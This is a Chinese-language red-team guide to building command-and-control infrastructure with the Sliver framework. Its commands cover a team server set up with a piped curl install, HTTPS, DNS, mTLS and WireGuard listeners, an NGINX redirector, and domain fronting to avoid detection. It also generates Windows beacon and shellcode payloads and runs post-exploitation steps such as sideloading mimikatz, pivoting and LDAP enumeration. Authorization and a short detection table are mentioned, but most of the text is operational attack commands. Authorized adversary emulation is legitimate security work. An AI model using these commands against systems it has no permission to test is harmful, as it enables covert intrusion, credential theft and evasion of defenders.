使用Sliver框架构建C2基础设施 是做什么的?
概述
Sliver是由BishopFox开发的开源跨平台对手模拟框架,使用Go语言编写。它为红队提供载荷生成、多协议C2通道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及广泛的后利用能力。Sliver支持信标(异步)和会话(交互式)两种模式,适用于长期潜伏操作和交互式利用。一个设计良好的Sliver基础设施应使用重定向器、域前置和HTTPS证书来维持操作弹性并避免检测。
何时使用
- 当需要在你的环境中部署或配置使用Sliver框架构建C2基础设施的能力时
- 当建立符合合规要求的安全控制措施时
- 当构建或改进此领域的安全架构时
- 当进行需要此实现的安全评估时
前置条件
- 熟悉红队概念和工具
- 拥有可用于安全执行测试或实验环境
- Python 3.8+ 及所需依赖项已安装
- 对任何测试活动拥有适当授权
目标
- 在加固的云基础设施上部署Sliver团队服务器
- 配置HTTPS、mTLS、DNS和WireGuard监听器
- 为目标平台生成载荷(信标和会话)
- 在目标与团队服务器之间设置NGINX或Apache重定向器
- 实现Cloudflare或基于CDN的域前置以混淆流量
- 配置基于证书认证的多操作员访问
- 为C2通信建立操作安全控制
MITRE ATT&CK映射
- T1071.001 - 应用层协议:Web协议
- T1071.004 - 应用层协议:DNS
- T1573.002 - 加密通道:非对称加密
- T1090.002 - 代理:外部代理(重定向器)
- T1105 - 入口工具传输
- T1132.001 - 数据编码:标准编码
- T1572 - 协议隧道
工作流程
第一阶段:团队服务器部署
- 为团队服务器准备一台VPS(例如DigitalOcean、Linode、AWS EC2)
- 加固操作系统:禁用SSH密码认证,配置UFW/iptables,安装fail2ban
- 使用官方安装脚本安装Sliver:
curl https://sliver.sh/install | sudo bash
- 启动Sliver服务器守护进程:
systemctl start sliver
sliver-server
- 为团队成员生成操作员配置文件:
new-operator --name operator1 --lhost <team-server-ip>
第二阶段:监听器配置
- 配置带有合法SSL证书的HTTPS监听器:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- 配置DNS监听器作为备用C2通道:
dns --domains c2dns.example.com --lport 53
- 配置mTLS监听器用于高安全会话:
mtls --lhost 0.0.0.0 --lport 8888
- 配置WireGuard监听器用于隧道访问:
wg --lport 51820
第三阶段:重定向器设置
- 部署一台单独的VPS作为重定向器(位于目标与团队服务器之间)
- 安装并配置NGINX作为反向代理:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- 在团队服务器上配置iptables规则,只接受来自重定向器的连接:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- (可选)在重定向器前设置Cloudflare作为CDN层,实现域前置
第四阶段:载荷生成
- 生成HTTPS信标载荷:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- 为受限网络生成DNS信标:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- 生成用于注入的Shellcode载荷:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- 配置信标抖动和回调间隔:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
第五阶段:后利用操作
- 与活动信标/会话交互:
beacons
use <beacon-id>
- 执行后利用模块:
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- 设置枢轴以访问内部网络:
pivots tcp --bind 0.0.0.0:9898
- 使用BOF(信标对象文件)进行内存执行:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
工具与资源
| 工具 | 用途 | 平台 |
|---|
| Sliver Server | C2团队服务器和载荷管理 | Linux/macOS/Windows |
| Sliver Client | 团队成员的操控制台 | 跨平台 |
| NGINX | 重定向器和反向代理 | Linux |
| Certbot | Let's Encrypt SSL证书生成 | Linux |
| Cloudflare | CDN和域前置 | 云服务 |
| Armory | Sliver扩展/BOF包管理器 | 内置 |
检测签名
| 指标 | 检测方法 |
|---|
| 默认Sliver HTTP头部 | 网络流量分析,检测异常的User-Agent字符串 |
| 非标准端口上的mTLS | 防火墙日志,检测到非标准端口的出站连接 |
| 高熵的DNS TXT记录查询 | DNS日志分析,检测编码的C2流量 |
| 端口51820上的WireGuard UDP流量 | 网络流分析,检测WireGuard握手模式 |
| Sliver载荷文件哈希 | EDR/AV签名匹配,识别已知的Sliver样本 |
验证标准